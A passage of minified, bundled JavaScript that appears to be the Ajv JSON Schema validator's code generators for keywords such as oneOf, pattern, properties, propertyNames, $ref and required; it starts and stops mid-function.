                            i = u.pop(), i += !A.compositeRule && I ? A.async ? " throw new ValidationError([" + Q + "]); " : " validate.errors = [" + Q + "]; return false; " : " var err = " + Q + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", i += " } else {  errors = " + c + "; if (vErrors !== null) { if (" + c + ") vErrors.length = " + c + "; else vErrors = null; } ", A.opts.allErrors && (i += " } ")
                        } else i += "  var err =   ", !1 !== A.createErrors ? (i += " { keyword: 'not' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(a) + " , params: {} ", !1 !== A.opts.messages && (i += " , message: 'should NOT be valid' "), A.opts.verbose && (i += " , schema: validate.schema" + s + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + l + " "), i += " } ") : i += " {} ", i += ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", I && (i += " if (false) { ");
                        return i
                    }
                }, {}],
                28: [function(A, e, t) {
                    "use strict";
                    e.exports = function(A, e, t) {
                        var i = " ",
                            r = A.level,
                            o = A.dataLevel,
                            n = A.schema[e],
                            s = A.schemaPath + A.util.getProperty(e),
                            a = A.errSchemaPath + "/" + e,
                            I = !A.opts.allErrors,
                            l = "data" + (o || ""),
                            c = "valid" + r,
                            B = "errs__" + r,
                            g = A.util.copy(A),
                            h = "",
                            E = "valid" + ++g.level;
                        i += "var " + B + " = errors;var prevValid" + r + " = false;var " + c + " = false;";
                        var u = g.baseId,
                            Q = A.compositeRule;
                        A.compositeRule = g.compositeRule = !0;
                        var d = n;
                        if (d)
                            for (var f, S = -1, w = d.length - 1; S < w;) f = d[S += 1], A.util.schemaHasRules(f, A.RULES.all) ? (g.schema = f, g.schemaPath = s + "[" + S + "]", g.errSchemaPath = a + "/" + S, i += "  " + A.validate(g) + " ", g.baseId = u) : i += " var " + E + " = true; ", S && (i += " if (" + E + " && prevValid" + r + ") " + c + " = false; else { ", h += "}"), i += " if (" + E + ") " + c + " = prevValid" + r + " = true;";
                        return A.compositeRule = g.compositeRule = Q, i += h + "if (!" + c + ") {   var err =   ", !1 !== A.createErrors ? (i += " { keyword: 'oneOf' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(a) + " , params: {} ", !1 !== A.opts.messages && (i += " , message: 'should match exactly one schema in oneOf' "), A.opts.verbose && (i += " , schema: validate.schema" + s + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + l + " "), i += " } ") : i += " {} ", i += ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", !A.compositeRule && I && (i += A.async ? " throw new ValidationError(vErrors); " : " validate.errors = vErrors; return false; "), i += "} else {  errors = " + B + "; if (vErrors !== null) { if (" + B + ") vErrors.length = " + B + "; else vErrors = null; }", A.opts.allErrors && (i += " } "), i
                    }
                }, {}],
                29: [function(A, e, t) {
                    "use strict";
                    e.exports = function(A, e, t) {
                        var i, r = " ",
                            o = A.level,
                            n = A.dataLevel,
                            s = A.schema[e],
                            a = A.schemaPath + A.util.getProperty(e),
                            I = A.errSchemaPath + "/" + e,
                            l = !A.opts.allErrors,
                            c = "data" + (n || ""),
                            B = A.opts.$data && s && s.$data;
                        B ? (r += " var schema" + o + " = " + A.util.getData(s.$data, n, A.dataPathArr) + "; ", i = "schema" + o) : i = s;
                        var g = B ? "(new RegExp(" + i + "))" : A.usePattern(s);
                        r += "if ( ", B && (r += " (" + i + " !== undefined && typeof " + i + " != 'string') || "), r += " !" + g + ".test(" + c + ") ) {   ";
                        var h = h || [];
                        h.push(r), r = "", !1 !== A.createErrors ? (r += " { keyword: 'pattern' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(I) + " , params: { pattern:  ", r += B ? "" + i : "" + A.util.toQuotedString(s), r += "  } ", !1 !== A.opts.messages && (r += " , message: 'should match pattern \"", r += B ? "' + " + i + " + '" : "" + A.util.escapeQuotes(s), r += "\"' "), A.opts.verbose && (r += " , schema:  ", r += B ? "validate.schema" + a : "" + A.util.toQuotedString(s), r += "         , parentSchema: validate.schema" + A.schemaPath + " , data: " + c + " "), r += " } ") : r += " {} ";
                        var E = r;
                        return r = h.pop(), r += !A.compositeRule && l ? A.async ? " throw new ValidationError([" + E + "]); " : " validate.errors = [" + E + "]; return false; " : " var err = " + E + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", r += "} ", l && (r += " else { "), r
                    }
                }, {}],
                30: [function(A, e, t) {
                    "use strict";
                    e.exports = function(A, e, t) {
                        var i = " ",
                            r = A.level,
                            o = A.dataLevel,
                            n = A.schema[e],
                            s = A.schemaPath + A.util.getProperty(e),
                            a = A.errSchemaPath + "/" + e,
                            I = !A.opts.allErrors,
                            l = "data" + (o || ""),
                            c = "valid" + r,
                            B = "errs__" + r,
                            g = A.util.copy(A),
                            h = "",
                            E = "valid" + ++g.level,
                            u = "key" + r,
                            Q = "idx" + r,
                            d = g.dataLevel = A.dataLevel + 1,
                            f = "data" + d,
                            S = "dataProperties" + r,
                            w = Object.keys(n || {}),
                            p = A.schema.patternProperties || {},
                            C = Object.keys(p),
                            D = A.schema.additionalProperties,
                            v = w.length || C.length,
                            m = !1 === D,
                            M = "object" == typeof D && Object.keys(D).length,
                            P = A.opts.removeAdditional,
                            y = m || M || P,
                            F = A.opts.ownProperties,
                            L = A.baseId,
                            k = A.schema.required;
                        if (k && (!A.opts.v5 || !k.$data) && k.length < A.opts.loopRequired) var J = A.util.toHash(k);
                        if (A.opts.patternGroups) var j = A.schema.patternGroups || {},
                            N = Object.keys(j);
                        if (i += "var " + B + " = errors;var " + E + " = true;", F && (i += " var " + S + " = undefined;"), y) {
                            if (i += F ? " " + S + " = " + S + " || Object.keys(" + l + "); for (var " + Q + "=0; " + Q + "<" + S + ".length; " + Q + "++) { var " + u + " = " + S + "[" + Q + "]; " : " for (var " + u + " in " + l + ") { ", v) {
                                if (i += " var isAdditional" + r + " = !(false ", w.length)
                                    if (w.length > 5) i += " || validate.schema" + s + "[" + u + "] ";
                                    else {
                                        var U = w;
                                        if (U)
                                            for (var b = -1, R = U.length - 1; b < R;) W = U[b += 1], i += " || " + u + " == " + A.util.toQuotedString(W) + " "
                                    }
                                if (C.length) {
                                    var Y = C;
                                    if (Y)
                                        for (var x = -1, z = Y.length - 1; x < z;) oA = Y[x += 1], i += " || " + A.usePattern(oA) + ".test(" + u + ") "
                                }
                                if (A.opts.patternGroups && N.length) {
                                    var G = N;
                                    if (G)
                                        for (var x = -1, T = G.length - 1; x < T;) IA = G[x += 1], i += " || " + A.usePattern(IA) + ".test(" + u + ") "
                                }
                                i += " ); if (isAdditional" + r + ") { "
                            }
                            if ("all" == P) i += " delete " + l + "[" + u + "]; ";
                            else {
                                var X = A.errorPath,
                                    H = "' + " + u + " + '";
                                if (A.opts._errorDataPathProperty && (A.errorPath = A.util.getPathExpr(A.errorPath, u, A.opts.jsonPointers)), m) P ? i += " delete " + l + "[" + u + "]; " : (i += " " + E + " = false; ", tA = a, a = A.errSchemaPath + "/additionalProperties", (SA = SA || []).push(i), i = "", !1 !== A.createErrors ? (i += " { keyword: 'additionalProperties' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(a) + " , params: { additionalProperty: '" + H + "' } ", !1 !== A.opts.messages && (i += " , message: 'should NOT have additional properties' "), A.opts.verbose && (i += " , schema: false , parentSchema: validate.schema" + A.schemaPath + " , data: " + l + " "), i += " } ") : i += " {} ", wA = i, i = SA.pop(), i += !A.compositeRule && I ? A.async ? " throw new ValidationError([" + wA + "]); " : " validate.errors = [" + wA + "]; return false; " : " var err = " + wA + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", a = tA, I && (i += " break; "));
                                else if (M)
                                    if ("failing" == P) {
                                        i += " var " + B + " = errors;  ";
                                        var V = A.compositeRule;
                                        A.compositeRule = g.compositeRule = !0, g.schema = D, g.schemaPath = A.schemaPath + ".additionalProperties", g.errSchemaPath = A.errSchemaPath + "/additionalProperties", g.errorPath = A.opts._errorDataPathProperty ? A.errorPath : A.util.getPathExpr(A.errorPath, u, A.opts.jsonPointers), $ = l + "[" + u + "]", g.dataPathArr[d] = u, hA = A.validate(g), g.baseId = L, i += A.util.varOccurences(hA, f) < 2 ? " " + A.util.varReplace(hA, f, $) + " " : " var " + f + " = " + $ + "; " + hA + " ", i += " if (!" + E + ") { errors = " + B + "; if (validate.errors !== null) { if (errors) validate.errors.length = errors; else validate.errors = null; } delete " + l + "[" + u + "]; }  ", A.compositeRule = g.compositeRule = V
                                    } else g.schema = D, g.schemaPath = A.schemaPath + ".additionalProperties", g.errSchemaPath = A.errSchemaPath + "/additionalProperties", g.errorPath = A.opts._errorDataPathProperty ? A.errorPath : A.util.getPathExpr(A.errorPath, u, A.opts.jsonPointers), $ = l + "[" + u + "]", g.dataPathArr[d] = u, hA = A.validate(g), g.baseId = L, i += A.util.varOccurences(hA, f) < 2 ? " " + A.util.varReplace(hA, f, $) + " " : " var " + f + " = " + $ + "; " + hA + " ", I && (i += " if (!" + E + ") break; ");
                                A.errorPath = X
                            }
                            v && (i += " } "), i += " }  ", I && (i += " if (" + E + ") { ", h += "}")
                        }
                        var O = A.opts.useDefaults && !A.compositeRule;
                        if (w.length) {
                            var Z = w;
                            if (Z)
                                for (var W, K = -1, _ = Z.length - 1; K < _;) {
                                    if (gA = n[W = Z[K += 1]], A.util.schemaHasRules(gA, A.RULES.all)) {
                                        var q = A.util.getProperty(W),
                                            $ = l + q,
                                            AA = O && void 0 !== gA.default;
                                        if (g.schema = gA, g.schemaPath = s + q, g.errSchemaPath = a + "/" + A.util.escapeFragment(W), g.errorPath = A.util.getPath(A.errorPath, W, A.opts.jsonPointers), g.dataPathArr[d] = A.util.toQuotedString(W), hA = A.validate(g), g.baseId = L, A.util.varOccurences(hA, f) < 2) hA = A.util.varReplace(hA, f, $), eA = $;
                                        else {
                                            var eA = f;
                                            i += " var " + f + " = " + $ + "; "
                                        }
                                        if (AA) i += " " + hA + " ";
                                        else {
                                            if (J && J[W]) {
                                                i += " if ( " + eA + " === undefined ", F && (i += " || ! Object.prototype.hasOwnProperty.call(" + l + ", '" + A.util.escapeQuotes(W) + "') "), i += ") { " + E + " = false; ";
                                                var X = A.errorPath,
                                                    tA = a,
                                                    iA = A.util.escapeQuotes(W);
                                                A.opts._errorDataPathProperty && (A.errorPath = A.util.getPath(X, W, A.opts.jsonPointers)), a = A.errSchemaPath + "/required", (SA = SA || []).push(i), i = "", !1 !== A.createErrors ? (i += " { keyword: 'required' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(a) + " , params: { missingProperty: '" + iA + "' } ", !1 !== A.opts.messages && (i += " , message: '", i += A.opts._errorDataPathProperty ? "is a required property" : "should have required property \\'" + iA + "\\'", i += "' "), A.opts.verbose && (i += " , schema: validate.schema" + s + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + l + " "), i += " } ") : i += " {} ", wA = i, i = SA.pop(), i += !A.compositeRule && I ? A.async ? " throw new ValidationError([" + wA + "]); " : " validate.errors = [" + wA + "]; return false; " : " var err = " + wA + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", a = tA, A.errorPath = X, i += " } else { "
                                            } else I ? (i += " if ( " + eA + " === undefined ", F && (i += " || ! Object.prototype.hasOwnProperty.call(" + l + ", '" + A.util.escapeQuotes(W) + "') "), i += ") { " + E + " = true; } else { ") : (i += " if (" + eA + " !== undefined ", F && (i += " &&   Object.prototype.hasOwnProperty.call(" + l + ", '" + A.util.escapeQuotes(W) + "') "), i += " ) { ");
                                            i += " " + hA + " } "
                                        }
                                    }
                                    I && (i += " if (" + E + ") { ", h += "}")
                                }
                        }
                        if (C.length) {
                            var rA = C;
                            if (rA)
                                for (var oA, nA = -1, sA = rA.length - 1; nA < sA;) gA = p[oA = rA[nA += 1]], A.util.schemaHasRules(gA, A.RULES.all) && (g.schema = gA, g.schemaPath = A.schemaPath + ".patternProperties" + A.util.getProperty(oA), g.errSchemaPath = A.errSchemaPath + "/patternProperties/" + A.util.escapeFragment(oA), i += F ? " " + S + " = " + S + " || Object.keys(" + l + "); for (var " + Q + "=0; " + Q + "<" + S + ".length; " + Q + "++) { var " + u + " = " + S + "[" + Q + "]; " : " for (var " + u + " in " + l + ") { ", i += " if (" + A.usePattern(oA) + ".test(" + u + ")) { ", g.errorPath = A.util.getPathExpr(A.errorPath, u, A.opts.jsonPointers), $ = l + "[" + u + "]", g.dataPathArr[d] = u, hA = A.validate(g), g.baseId = L, i += A.util.varOccurences(hA, f) < 2 ? " " + A.util.varReplace(hA, f, $) + " " : " var " + f + " = " + $ + "; " + hA + " ", I && (i += " if (!" + E + ") break; "), i += " } ", I && (i += " else " + E + " = true; "), i += " }  ", I && (i += " if (" + E + ") { ", h += "}"))
                        }
                        if (A.opts.patternGroups && N.length) {
                            var aA = N;
                            if (aA)
                                for (var IA, lA = -1, cA = aA.length - 1; lA < cA;) {
                                    var BA = j[IA = aA[lA += 1]],
                                        gA = BA.schema;
                                    if (A.util.schemaHasRules(gA, A.RULES.all)) {
                                        g.schema = gA, g.schemaPath = A.schemaPath + ".patternGroups" + A.util.getProperty(IA) + ".schema", g.errSchemaPath = A.errSchemaPath + "/patternGroups/" + A.util.escapeFragment(IA) + "/schema", i += " var pgPropCount" + r + " = 0;  ", i += F ? " " + S + " = " + S + " || Object.keys(" + l + "); for (var " + Q + "=0; " + Q + "<" + S + ".length; " + Q + "++) { var " + u + " = " + S + "[" + Q + "]; " : " for (var " + u + " in " + l + ") { ", i += " if (" + A.usePattern(IA) + ".test(" + u + ")) { pgPropCount" + r + "++; ", g.errorPath = A.util.getPathExpr(A.errorPath, u, A.opts.jsonPointers), $ = l + "[" + u + "]", g.dataPathArr[d] = u;
                                        var hA = A.validate(g);
                                        g.baseId = L, i += A.util.varOccurences(hA, f) < 2 ? " " + A.util.varReplace(hA, f, $) + " " : " var " + f + " = " + $ + "; " + hA + " ", I && (i += " if (!" + E + ") break; "), i += " } ", I && (i += " else " + E + " = true; "), i += " }  ", I && (i += " if (" + E + ") { ", h += "}");
                                        var EA = BA.minimum,
                                            uA = BA.maximum;
                                        if (void 0 !== EA || void 0 !== uA) {
                                            if (i += " var " + c + " = true; ", tA = a, void 0 !== EA) {
                                                var QA = EA,
                                                    dA = "minimum",
                                                    fA = "less";
                                                i += " " + c + " = pgPropCount" + r + " >= " + EA + "; ", a = A.errSchemaPath + "/patternGroups/minimum", i += "  if (!" + c + ") {   ", (SA = SA || []).push(i), i = "", !1 !== A.createErrors ? (i += " { keyword: 'patternGroups' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(a) + " , params: { reason: '" + dA + "', limit: " + QA + ", pattern: '" + A.util.escapeQuotes(IA) + "' } ", !1 !== A.opts.messages && (i += " , message: 'should NOT have " + fA + " than " + QA + ' properties matching pattern "' + A.util.escapeQuotes(IA) + "\"' "), A.opts.verbose && (i += " , schema: validate.schema" + s + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + l + " "), i += " } ") : i += " {} ", wA = i, i = SA.pop(), i += !A.compositeRule && I ? A.async ? " throw new ValidationError([" + wA + "]); " : " validate.errors = [" + wA + "]; return false; " : " var err = " + wA + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", i += " } ", void 0 !== uA && (i += " else ")
                                            }
                                            if (void 0 !== uA) {
                                                var QA = uA,
                                                    dA = "maximum",
                                                    fA = "more";
                                                i += " " + c + " = pgPropCount" + r + " <= " + uA + "; ", a = A.errSchemaPath + "/patternGroups/maximum", i += "  if (!" + c + ") {   ";
                                                var SA = SA || [];
                                                SA.push(i), i = "", !1 !== A.createErrors ? (i += " { keyword: 'patternGroups' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(a) + " , params: { reason: '" + dA + "', limit: " + QA + ", pattern: '" + A.util.escapeQuotes(IA) + "' } ", !1 !== A.opts.messages && (i += " , message: 'should NOT have " + fA + " than " + QA + ' properties matching pattern "' + A.util.escapeQuotes(IA) + "\"' "), A.opts.verbose && (i += " , schema: validate.schema" + s + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + l + " "), i += " } ") : i += " {} ";
                                                var wA = i;
                                                i = SA.pop(), i += !A.compositeRule && I ? A.async ? " throw new ValidationError([" + wA + "]); " : " validate.errors = [" + wA + "]; return false; " : " var err = " + wA + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", i += " } "
                                            }
                                            a = tA, I && (i += " if (" + c + ") { ", h += "}")
                                        }
                                    }
                                }
                        }
                        return I && (i += " " + h + " if (" + B + " == errors) {"), i = A.util.cleanUpCode(i)
                    }
                }, {}],
                31: [function(A, e, t) {
                    "use strict";
                    e.exports = function(A, e, t) {
                        var i = " ",
                            r = A.level,
                            o = A.dataLevel,
                            n = A.schema[e],
                            s = A.schemaPath + A.util.getProperty(e),
                            a = A.errSchemaPath + "/" + e,
                            I = !A.opts.allErrors,
                            l = "data" + (o || ""),
                            c = "errs__" + r,
                            B = A.util.copy(A),
                            g = "valid" + ++B.level;
                        if (A.util.schemaHasRules(n, A.RULES.all)) {
                            B.schema = n, B.schemaPath = s, B.errSchemaPath = a;
                            var h = "key" + r,
                                E = "idx" + r,
                                u = "i" + r,
                                Q = "' + " + h + " + '",
                                d = "data" + (B.dataLevel = A.dataLevel + 1),
                                f = "dataProperties" + r,
                                S = A.opts.ownProperties,
                                w = A.baseId;
                            i += " var " + c + " = errors; ", S && (i += " var " + f + " = undefined; "), i += S ? " " + f + " = " + f + " || Object.keys(" + l + "); for (var " + E + "=0; " + E + "<" + f + ".length; " + E + "++) { var " + h + " = " + f + "[" + E + "]; " : " for (var " + h + " in " + l + ") { ", i += " var startErrs" + r + " = errors; ";
                            var p = h,
                                C = A.compositeRule;
                            A.compositeRule = B.compositeRule = !0;
                            var D = A.validate(B);
                            B.baseId = w, i += A.util.varOccurences(D, d) < 2 ? " " + A.util.varReplace(D, d, p) + " " : " var " + d + " = " + p + "; " + D + " ", A.compositeRule = B.compositeRule = C, i += " if (!" + g + ") { for (var " + u + "=startErrs" + r + "; " + u + "<errors; " + u + "++) { vErrors[" + u + "].propertyName = " + h + "; }   var err =   ", !1 !== A.createErrors ? (i += " { keyword: 'propertyNames' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(a) + " , params: { propertyName: '" + Q + "' } ", !1 !== A.opts.messages && (i += " , message: 'property name \\'" + Q + "\\' is invalid' "), A.opts.verbose && (i += " , schema: validate.schema" + s + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + l + " "), i += " } ") : i += " {} ", i += ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", !A.compositeRule && I && (i += A.async ? " throw new ValidationError(vErrors); " : " validate.errors = vErrors; return false; "), I && (i += " break; "), i += " } }"
                        }
                        return I && (i += "  if (" + c + " == errors) {"), i = A.util.cleanUpCode(i)
                    }
                }, {}],
                32: [function(A, e, t) {
                    "use strict";
                    e.exports = function(A, e, t) {
                        var i, r, o = " ",
                            n = A.level,
                            s = A.dataLevel,
                            a = A.schema[e],
                            I = A.errSchemaPath + "/" + e,
                            l = !A.opts.allErrors,
                            c = "data" + (s || ""),
                            B = "valid" + n;
                        if ("#" == a || "#/" == a) A.isRoot ? (i = A.async, r = "validate") : (i = !0 === A.root.schema.$async, r = "root.refVal[0]");
                        else {
                            var g = A.resolveRef(A.baseId, a, A.isRoot);
                            if (void 0 === g) {
                                var h = A.MissingRefError.message(A.baseId, a);
                                if ("fail" == A.opts.missingRefs) {
                                    console.error(h), (d = d || []).push(o), o = "", !1 !== A.createErrors ? (o += " { keyword: '$ref' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(I) + " , params: { ref: '" + A.util.escapeQuotes(a) + "' } ", !1 !== A.opts.messages && (o += " , message: 'can\\'t resolve reference " + A.util.escapeQuotes(a) + "' "), A.opts.verbose && (o += " , schema: " + A.util.toQuotedString(a) + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + c + " "), o += " } ") : o += " {} ";
                                    var E = o;
                                    o = d.pop(), o += !A.compositeRule && l ? A.async ? " throw new ValidationError([" + E + "]); " : " validate.errors = [" + E + "]; return false; " : " var err = " + E + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", l && (o += " if (false) { ")
                                } else {
                                    if ("ignore" != A.opts.missingRefs) throw new A.MissingRefError(A.baseId, a, h);
                                    console.warn(h), l && (o += " if (true) { ")
                                }
                            } else if (g.inline) {
                                var u = A.util.copy(A),
                                    Q = "valid" + ++u.level;
                                u.schema = g.schema, u.schemaPath = "", u.errSchemaPath = a, o += " " + A.validate(u).replace(/validate\.schema/g, g.code) + " ", l && (o += " if (" + Q + ") { ")
                            } else i = !0 === g.$async, r = g.code
                        }
                        if (r) {
                            var d = d || [];
                            d.push(o), o = "", o += A.opts.passContext ? " " + r + ".call(this, " : " " + r + "( ", o += " " + c + ", (dataPath || '')", '""' != A.errorPath && (o += " + " + A.errorPath);
                            var f = o += " , " + (s ? "data" + (s - 1 || "") : "parentData") + " , " + (s ? A.dataPathArr[s] : "parentDataProperty") + ", rootData)  ";
                            if (o = d.pop(), i) {
                                if (!A.async) throw new Error("async schema referenced by sync schema");
                                l && (o += " var " + B + "; "), o += " try { " + A.yieldAwait + " " + f + "; ", l && (o += " " + B + " = true; "), o += " } catch (e) { if (!(e instanceof ValidationError)) throw e; if (vErrors === null) vErrors = e.errors; else vErrors = vErrors.concat(e.errors); errors = vErrors.length; ", l && (o += " " + B + " = false; "), o += " } ", l && (o += " if (" + B + ") { ")
                            } else o += " if (!" + f + ") { if (vErrors === null) vErrors = " + r + ".errors; else vErrors = vErrors.concat(" + r + ".errors); errors = vErrors.length; } ", l && (o += " else { ")
                        }
                        return o
                    }
                }, {}],
                33: [function(A, e, t) {
                    "use strict";
                    e.exports = function(A, e, t) {
                        var i = " ",
                            r = A.level,
                            o = A.dataLevel,
                            n = A.schema[e],
                            s = A.schemaPath + A.util.getProperty(e),
                            a = A.errSchemaPath + "/" + e,
                            I = !A.opts.allErrors,
                            l = "data" + (o || ""),
                            c = "valid" + r,
                            B = A.opts.$data && n && n.$data;
                        B && (i += " var schema" + r + " = " + A.util.getData(n.$data, o, A.dataPathArr) + "; ");
                        var g = "schema" + r;
                        if (!B)
                            if (n.length < A.opts.loopRequired && A.schema.properties && Object.keys(A.schema.properties).length) {
                                var h = [],
                                    E = n;
                                if (E)
                                    for (var u, Q = -1, d = E.length - 1; Q < d;) {
                                        u = E[Q += 1];
                                        var f = A.schema.properties[u];
                                        f && A.util.schemaHasRules(f, A.RULES.all) || (h[h.length] = u)
                                    }
                            } else h = n;
                        if (B || h.length) {
                            var S = A.errorPath,
                                w = B || h.length >= A.opts.loopRequired,
                                p = A.opts.ownProperties;
                            if (I)
                                if (i += " var missing" + r + "; ", w) B || (i += " var " + g + " = validate.schema" + s + "; "), y = "' + " + (P = "schema" + r + "[" + (D = "i" + r) + "]") + " + '", A.opts._errorDataPathProperty && (A.errorPath = A.util.getPathExpr(S, P, A.opts.jsonPointers)), i += " var " + c + " = true; ", B && (i += " if (schema" + r + " === undefined) " + c + " = true; else if (!Array.isArray(schema" + r + ")) " + c + " = false; else {"), i += " for (var " + D + " = 0; " + D + " < " + g + ".length; " + D + "++) { " + c + " = " + l + "[" + g + "[" + D + "]] !== undefined ", p && (i += " &&   Object.prototype.hasOwnProperty.call(" + l + ", " + g + "[" + D + "]) "), i += "; if (!" + c + ") break; } ", B && (i += "  }  "), i += "  if (!" + c + ") {   ", (m = m || []).push(i), i = "", !1 !== A.createErrors ? (i += " { keyword: 'required' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(a) + " , params: { missingProperty: '" + y + "' } ", !1 !== A.opts.messages && (i += " , message: '", i += A.opts._errorDataPathProperty ? "is a required property" : "should have required property \\'" + y + "\\'", i += "' "), A.opts.verbose && (i += " , schema: validate.schema" + s + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + l + " "), i += " } ") : i += " {} ", M = i, i = m.pop(), i += !A.compositeRule && I ? A.async ? " throw new ValidationError([" + M + "]); " : " validate.errors = [" + M + "]; return false; " : " var err = " + M + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", i += " } else { ";
                                else {
                                    i += " if ( ";
                                    var C = h;
                                    if (C)
                                        for (var D = -1, v = C.length - 1; D < v;) L = C[D += 1], D && (i += " || "), i += " ( ( " + (N = l + (j = A.util.getProperty(L))) + " === undefined ", p && (i += " || ! Object.prototype.hasOwnProperty.call(" + l + ", '" + A.util.escapeQuotes(L) + "') "), i += ") && (missing" + r + " = " + A.util.toQuotedString(A.opts.jsonPointers ? L : j) + ") ) ";
                                    i += ") {  ", y = "' + " + (P = "missing" + r) + " + '", A.opts._errorDataPathProperty && (A.errorPath = A.opts.jsonPointers ? A.util.getPathExpr(S, P, !0) : S + " + " + P);
                                    var m = m || [];
                                    m.push(i), i = "", !1 !== A.createErrors ? (i += " { keyword: 'required' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(a) + " , params: { missingProperty: '" + y + "' } ", !1 !== A.opts.messages && (i += " , message: '", i += A.opts._errorDataPathProperty ? "is a required property" : "should have required property \\'" + y + "\\'", i += "' "), A.opts.verbose && (i += " , schema: validate.schema" + s + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + l + " "), i += " } ") : i += " {} ";
                                    var M = i;
                                    i = m.pop(), i += !A.compositeRule && I ? A.async ? " throw new ValidationError([" + M + "]); " : " validate.errors = [" + M + "]; return false; " : " var err = " + M + ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ", i += " } else { "
                                }
                            else if (w) {
                                B || (i += " var " + g + " = validate.schema" + s + "; ");
                                var P = "schema" + r + "[" + (D = "i" + r) + "]",
                                    y = "' + " + P + " + '";
                                A.opts._errorDataPathProperty && (A.errorPath = A.util.getPathExpr(S, P, A.opts.jsonPointers)), B && (i += " if (" + g + " && !Array.isArray(" + g + ")) {  var err =   ", !1 !== A.createErrors ? (i += " { keyword: 'required' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(a) + " , params: { missingProperty: '" + y + "' } ", !1 !== A.opts.messages && (i += " , message: '", i += A.opts._errorDataPathProperty ? "is a required property" : "should have required property \\'" + y + "\\'", i += "' "), A.opts.verbose && (i += " , schema: validate.schema" + s + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + l + " "), i += " } ") : i += " {} ", i += ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; } else if (" + g + " !== undefined) { "), i += " for (var " + D + " = 0; " + D + " < " + g + ".length; " + D + "++) { if (" + l + "[" + g + "[" + D + "]] === undefined ", p && (i += " || ! Object.prototype.hasOwnProperty.call(" + l + ", " + g + "[" + D + "]) "), i += ") {  var err =   ", !1 !== A.createErrors ? (i += " { keyword: 'required' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(a) + " , params: { missingProperty: '" + y + "' } ", !1 !== A.opts.messages && (i += " , message: '", i += A.opts._errorDataPathProperty ? "is a required property" : "should have required property \\'" + y + "\\'", i += "' "), A.opts.verbose && (i += " , schema: validate.schema" + s + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + l + " "), i += " } ") : i += " {} ", i += ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; } } ", B && (i += "  }  ")
                            } else {
                                var F = h;
                                if (F)
                                    for (var L, k = -1, J = F.length - 1; k < J;) {
                                        L = F[k += 1];
                                        var j = A.util.getProperty(L),
                                            y = A.util.escapeQuotes(L),
                                            N = l + j;
                                        A.opts._errorDataPathProperty && (A.errorPath = A.util.getPath(S, L, A.opts.jsonPointers)), i += " if ( " + N + " === undefined ", p && (i += " || ! Object.prototype.hasOwnProperty.call(" + l + ", '" + A.util.escapeQuotes(L) + "') "), i += ") {  var err =   ", !1 !== A.createErrors ? (i += " { keyword: 'required' , dataPath: (dataPath || '') + " + A.errorPath + " , schemaPath: " + A.util.toQuotedString(a) + " , params: { missingProperty: '" + y + "' } ", !1 !== A.opts.messages && (i += " , message: '", i += A.opts._errorDataPathProperty ? "is a required property" : "should have required property \\'" + y + "\\'", i += "' "), A.opts.verbose && (i += " , schema: validate.schema" + s + " , parentSchema: validate.schema" + A.schemaPath + " , data: " + l + " "), i += " } ") : i += " {} ", i += ";  if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; } "
                                    }
                            }
                            A.errorPath = S
                        } else I && (i += " if (true) {");
                        return i
                    }
                }, {}],
                34: [function(A, e, t) {
                    "use strict";
                    e.exports = function(A, e, t) {
                        var i, r = " ",
                            o = A.level,
                            n = A.dataLevel,
                            s = A.schema[e],
                            a = A.schemaPath + A.util.getProperty(e),
                            I = A.errSchemaPath + "/" + e,
                            l = !A.opts.allErrors,
                            c = "data" + (n || ""),
                            B = "valid" + o,
                            g = A.opts.$data && s && s.$data;
                        if (g ? (r += " var schema" + o + " = " + A.util.getData(s.$data, n, A.dataPathArr) + "; ", i = "schema" + o) : i = s, (s || g) && !1 !== A.opts.uniqueItems) {
